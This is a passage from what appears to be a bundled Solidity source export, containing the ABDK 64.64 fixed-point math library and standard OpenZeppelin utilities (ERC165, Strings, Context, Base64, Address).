(absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string 